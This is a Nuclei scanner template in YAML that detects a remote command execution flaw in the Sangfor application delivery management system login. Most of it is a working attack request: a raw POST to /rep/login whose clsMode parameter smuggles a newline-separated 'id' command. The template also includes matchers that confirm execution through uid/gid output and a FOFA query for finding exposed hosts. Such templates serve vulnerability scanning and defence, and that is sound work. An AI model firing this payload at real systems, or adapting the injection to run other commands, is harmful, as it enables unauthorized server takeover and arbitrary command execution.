id: sangfor-login-rce

info:
  name: Sangfor Application Login - Remote Command Execution
  author: SleepingBag945
  severity: critical
  description: |
    Sangfor application delivery management system login has a remote command execution vulnerability, through which an attacker can obtain server privileges and execute arbitrary commands
  reference:
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/sangfor-login-rce.yaml
  classification:
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 1
    fofa-query: fid="iaytNA57019/kADk8Nev7g=="
  tags: sangfor,rce,vuln

http:
  - raw:
      - |
        POST /rep/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        clsMode=cls_mode_login%0Aid%0A&index=index&log_type=report&loginType=account&page=login&rnd=0&userID=admin&userPsw=123

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - regex("uid=([0-9(a-z)]+) gid=([0-9(a-z)]+) groups=([0-9(a-z)]+)", body)
          - contains(body, "cluster_mode_others")
        condition: and
# digest: 4a0a0047304502203bec25f4a3e6890f9f2ef16da58793624aab9890733db7fde42d38cb7455abeb0221009faf228c949e51c31a5f02c9bb367fe4b33557199af3bccfbe00efa5ba7ce6c2:922c64590222798bb761d5b6d8e72950